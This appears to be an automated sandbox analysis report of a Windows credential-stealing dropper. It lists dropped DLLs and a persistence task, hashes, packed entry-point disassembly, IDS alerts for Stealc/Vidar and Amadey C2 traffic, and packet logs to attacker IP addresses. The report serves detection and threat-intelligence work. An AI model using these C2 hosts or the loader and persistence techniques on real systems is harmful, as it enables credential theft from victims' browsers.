Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L.....af..............................K...........@...........................K..........@.................................X...l............................oK..............................nK..................................................... . ............................@....rsrc...............................@....idata ............................@... ..*.........................@...ltpqnbtv......1.....................@...vtlswbyt......K.....................@....taggant.0....K.."..................@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\1jPL5zru3u.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\1jPL5zru3u.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\1jPL5zru3u.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\1jPL5zru3u.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\1jPL5zru3u.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\1jPL5zru3u.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe

Download File

Process:	C:\Users\user\Desktop\1jPL5zru3u.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1899520
Entropy (8bit):	7.951017654582535
Encrypted:	false
SSDEEP:	49152:BEkBzdBptx3vjjs9nV/r0QTWcitpj2aapepCiGdZeME:ZDBpA9V/r0yOtpj2SqK
MD5:	41327F38F138A156BF02E81F5047DC06
SHA1:	6F38D2FD6302AC5C508084C805DC04E432565033
SHA-256:	7CFA96DDAB555419B82206C2F1F1DD16567A083421CF0E99D6ABF2E03FC551D9
SHA-512:	5A93EB0BFCFD59147DFFBBA9DE74D8956E3E302C6166F048B02F1615AE47F2F46AA2753AD172DC30987A8BA3FB7A47761B3B618F5837879F7C0B634AB5312C58
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L.....af..............................K...........@...........................K..........@.................................X...l............................oK..............................nK..................................................... . ............................@....rsrc...............................@....idata ............................@... ..*.........................@...ltpqnbtv......1.....................@...vtlswbyt......K.....................@....taggant.0....K.."..................@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1899520
Entropy (8bit):	7.951017654582535
Encrypted:	false
SSDEEP:	49152:BEkBzdBptx3vjjs9nV/r0QTWcitpj2aapepCiGdZeME:ZDBpA9V/r0yOtpj2SqK
MD5:	41327F38F138A156BF02E81F5047DC06
SHA1:	6F38D2FD6302AC5C508084C805DC04E432565033
SHA-256:	7CFA96DDAB555419B82206C2F1F1DD16567A083421CF0E99D6ABF2E03FC551D9
SHA-512:	5A93EB0BFCFD59147DFFBBA9DE74D8956E3E302C6166F048B02F1615AE47F2F46AA2753AD172DC30987A8BA3FB7A47761B3B618F5837879F7C0B634AB5312C58
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L.....af..............................K...........@...........................K..........@.................................X...l............................oK..............................nK..................................................... . ............................@....rsrc...............................@....idata ............................@... ..*.........................@...ltpqnbtv......1.....................@...vtlswbyt......K.....................@....taggant.0....K.."..................@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\1jPL5zru3u.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\1jPL5zru3u.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Tasks\explorti.job

Download File

Process:	C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe
File Type:	data
Category:	dropped
Size (bytes):	288
Entropy (8bit):	3.43995724430819
Encrypted:	false
SSDEEP:	6:JgVII3lRX4RKUEZ+lX1QYShMl6lm6tPjgsW2YRZuy0lqqt0:Jgt3lt4RKQ13vg7jzvYRQVnt0
MD5:	2CBBE433870FB2C9708640884FC3720B
SHA1:	0FD61000659EEB1FB685292A6E77F7F41C56BA68
SHA-256:	227944741074155500B17F093EE623847E44DC6D8C0D910FCEA03E16FAC0D40D
SHA-512:	33F1273A9314B0CF5CAB75B47F239D611791634F971B1CA5DA6B68C40EF82AF3A9585B2D4B666576F62B8E1D043CFE2D5478D7B2E013DC9C76C95443F11206F2
Malicious:	false
Preview:	....WrU..MmJ.*.e....F.......<... .....s.......... ....................:.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.d.4.0.9.7.1.b.6.b.\.e.x.p.l.o.r.t.i...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0.................!.@3P.........................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.462944456709149
Encrypted:	false
SSDEEP:	6144:rIXfpi67eLPU9skLmb0b4+WSPKaJG8nAgejZMMhA2gX4WABl0uN2dwBCswSbn:sXD94+WlLZMM6YFHg+n
MD5:	93A44DC362E023CD2689B45C32661FE6
SHA1:	80CB1056A9C27C91BA9D60E4D5C63B204E4EAF09
SHA-256:	37BEDB32F899AFA72A1AA194A873BCFC52DBBA9AEA08DA5CF00B9DAD09722A17
SHA-512:	324E477CBEB11290EF76EFA86FEF5027716421BF024BF2B2357FA1C52811CF9788D89DF8D7EB6DF414A3F138691EB32698E9F08529641BAEFBB5D41D7C93A541
Malicious:	false
Preview:	regf6...6....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm...B.................................................................................................................................................................................................................................................................................................................................................R.v........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.983747303925545
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	1jPL5zru3u.exe
File size:	2'509'824 bytes
MD5:	b3badd1cd2cba4f587bd6737d34d3569
SHA1:	bc229f10399c3482df1faa98bf7074a4440e82a5
SHA256:	9c1c20db1d73c66795b9b49f39aff02d621dd06c05d7d3ea1007ac7bcbf3f3cd
SHA512:	9ab73372ed54e468d90bda23279f983db8ca2486a41718fcba4e3b2931cf40c3f6e82c1fbe3cce695057d0fca241d40cda9b272a0e1cfc0ac4fdf1a5aad05b49
SSDEEP:	49152:rh/Kr1IeHpgDfCeER3nsxnC+Nisx8rAmTYQ:rVKBpHeDXERcM+sAW
TLSH:	A0C5332CE4A94452C0536EB6B4D3504B521B31CFBAA49AAB3FE1DB3FB952534C739B10
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.dZ............a.......a.......a...5...............................Z...a.......a.......Rich............................PE..L..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0xff42a0
Entrypoint Section:	.data
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x6675FA89 [Fri Jun 21 22:11:21 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	001806c33a6e9fe5fbff34bdbd79b591

Entrypoint Preview

Instruction
jmp 00007FB424B3EFDAh
add byte ptr [esp+eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax-18h], ah
add byte ptr [eax], al
add byte ptr [eax], al
pop ebp
sub ebp, 00000010h
sub ebp, 00BF42A0h
jmp 00007FB424B3EFD9h
dec eax
fcmovnbe st(0), st(4)
fdivr dword ptr [eax+00BF42A0h]
add eax, ebp
add eax, 0000004Ch
mov ecx, 000005B3h
mov edx, 6EE25626h
xor byte ptr [eax], dl
inc eax
dec ecx
jne 00007FB424B3EFCCh
jmp 00007FB424B3EFD9h
dec ebx
retf 39A7h
lodsd
jmp 00007FB424B3EF7Fh
scasd
sbb ah, byte ptr [esi]
cmpsd
out DEh, eax
and eax, 26229EEBh
pushfd
push cs
rol esp, 1
and eax, 2AA7ADEEh
and eax, 42AB76E3h
add bl, dl
scasd
and al, byte ptr [edx]
dec esi
mov eax, EC4E2607h
test dword ptr [ebx+020A2726h], edi
dec esi
mov al, E1h
xchg eax, ebx
lodsd
into
and esp, dword ptr [esi]
iretd
push cs
jnc 00007FB424B3EF82h
retf A3ADh
lodsd
mov bl, 2Ah
lodsd
stosd
out CFh, eax
and al, 17h
and al, A5h
in al, 22h
outsd
sub dword ptr [ebx-2626262Eh], esp
jnp 00007FB424B3EFB6h
sub ah, byte ptr [esi]
lodsd
stosb
add ah, byte ptr [edx]
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x9d7020	0xdfd	.data
IMAGE_DIRECTORY_ENTRY_IMPORT	0x9d7e20	0x20c	.data
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x9d7000	0xc	.data
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x1b000	0xa400	3ceea1f51a5d5322083770c67767eab6	False	0.9994759908536586	data	7.9949641655914805	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x1c000	0x8000	0x4000	203b2a731e5012181312ab8da1cb4387	False	0.9935302734375	data	7.980309777125587	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24000	0x213000	0x400	371be828257df7049520be33610333f3	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x237000	0x5000	0x2000	e1d2004cf8b4fca1e58d12bef925324d	False	0.9891357421875	data	7.952939990721896	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x23c000	0x798000	0x32800	b747ec593a7ae65fb157808909e4a7f5	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.data	0x9d4000	0x222000	0x221800	3896571dca6fa936a18eea053b867d50	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	GetModuleHandleA, GetProcAddress, ExitProcess, LoadLibraryA
user32.dll	MessageBoxA
advapi32.dll	RegCloseKey
oleaut32.dll	SysFreeString
gdi32.dll	CreateFontA
shell32.dll	ShellExecuteA
version.dll	GetFileVersionInfoA
msvcrt.dll	strncpy

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
06/28/24-22:31:56.070770	TCP	2051831	ET TROJAN Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	80	49731	85.28.47.4	192.168.2.4
06/28/24-22:32:22.860052	TCP	2856147	ETPRO TROJAN Amadey CnC Activity M3	49743	80	192.168.2.4	77.91.77.82
06/28/24-22:31:55.884324	TCP	2051828	ET TROJAN Win32/Stealc Active C2 Responding with browsers Config M1	80	49731	85.28.47.4	192.168.2.4
06/28/24-22:31:55.885959	TCP	2044246	ET TROJAN Win32/Stealc Requesting plugins Config from C2	49731	80	192.168.2.4	85.28.47.4
06/28/24-22:31:55.529063	TCP	2044244	ET TROJAN Win32/Stealc Requesting browsers Config from C2	49731	80	192.168.2.4	85.28.47.4
06/28/24-22:31:54.877218	TCP	2044243	ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in	49731	80	192.168.2.4	85.28.47.4

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 28, 2024 22:31:54.871845007 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:54.876873016 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:54.876981020 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:54.877218008 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:54.881970882 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:55.527087927 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:55.527182102 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:55.529062986 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:55.534989119 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:55.884324074 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:55.884341955 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:55.884351015 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:55.884422064 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:55.885958910 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:55.893503904 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:56.070770025 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:56.070885897 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:56.070897102 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:56.070909977 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:56.070920944 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:56.070930004 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:56.070940018 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:56.070945024 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:56.070977926 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:56.089689016 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:56.094743013 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:56.271460056 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:56.271524906 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:56.296241999 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:56.296298981 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:56.301132917 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:56.301218033 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:56.301227093 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:56.301238060 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:56.301356077 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:56.301412106 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:56.301711082 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:57.027007103 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:57.027059078 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:57.899899006 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:57.906105995 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.080224991 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.080245018 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.080257893 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.080290079 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.080311060 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.080316067 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.080327034 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.080338001 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.080348015 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.080353022 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.080385923 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.081099987 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.081144094 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.081159115 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.081171036 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.081197023 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.081207037 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.081274033 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.081285954 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.081311941 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.081320047 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.082009077 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.082051039 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.163443089 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.163516045 CEST	49731	80	192.168.2.4	85.28.47.4
